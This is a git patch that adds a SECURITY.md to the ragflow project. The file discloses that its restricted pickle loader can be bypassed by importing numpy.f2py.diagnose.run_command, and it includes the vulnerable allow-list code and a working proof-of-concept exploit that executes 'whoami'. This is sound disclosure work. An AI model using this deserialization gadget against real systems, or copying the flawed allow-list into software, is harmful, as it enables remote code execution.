From 23d9aa40557d0cc59f1f1a719f1e43f7fd6d6bdc Mon Sep 17 00:00:00 2001 From: William957-web <85293841+William957-web@users.noreply.github.com> Date: Mon, 24 Jun 2024 10:14:57 +0800 Subject: [PATCH] Create SECURITY.md (#1241) ### What problem does this PR solve? The restricted_loads function at [api/utils/init.py#L215](https://github.com/infiniflow/ragflow/blob/main/api/utils/__init__.py#L215) is still vulnerable leading via code execution. The main reson is that numpy module has a numpy.f2py.diagnose.run_command function directly execute commands, but the restricted_loads function allows users import functions in module numpy. ### Additional Details [https://github.com/infiniflow/ragflow/issues/1240](https://github.com/infiniflow/ragflow/issues/1240) ### Type of change - [ ] Bug Fix (non-breaking change which fixes an issue) - [ ] New Feature (non-breaking change which adds functionality) - [ ] Documentation Update - [ ] Refactoring - [ ] Performance Improvement - [ ] Other (please describe): --- SECURITY.md | 74 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 74 insertions(+) create mode 100644 SECURITY.md diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 0000000000..7ea2355cdd --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,74 @@ +# Security Policy + +## Supported Versions + +Use this section to tell people about which versions of your project are +currently being supported with security updates. + +| Version | Supported | +| ------- | ------------------ | +| <0.7.0 | :white_check_mark: | + +## Reporting a Vulnerability + +### Branch name + +main + +### Actual behavior + +The restricted_loads function at [api/utils/__init__.py#L215](https://github.com/infiniflow/ragflow/blob/main/api/utils/__init__.py#L215) is still vulnerable leading via code execution. +The main reson is that numpy module has a numpy.f2py.diagnose.run_command function directly execute commands, but the restricted_loads function allows users import functions in module numpy. + + +### Steps to reproduce + + +**ragflow_patch.py** + +```py +import builtins +import io +import pickle + +safe_module = { + 'numpy', + 'rag_flow' +} + + +class RestrictedUnpickler(pickle.Unpickler): + def find_class(self, module, name): + import importlib + if module.split('.')[0] in safe_module: + _module = importlib.import_module(module) + return getattr(_module, name) + # Forbid everything else. + raise pickle.UnpicklingError("global '%s.%s' is forbidden" % + (module, name)) + + +def restricted_loads(src): + """Helper function analogous to pickle.loads().""" + return RestrictedUnpickler(io.BytesIO(src)).load() +``` +Then, **PoC.py** +```py +import pickle +from ragflow_patch import restricted_loads +class Exploit: + def __reduce__(self): + import numpy.f2py.diagnose + return numpy.f2py.diagnose.run_command, ('whoami', ) + +Payload=pickle.dumps(Exploit()) +restricted_loads(Payload) +``` +**Result** +![image](https://github.com/infiniflow/ragflow/assets/85293841/8e5ed255-2e84-466c-bce4-776f7e4401e8) + + +### Additional information + +#### How to prevent? +Strictly filter the module and name before calling with getattr function.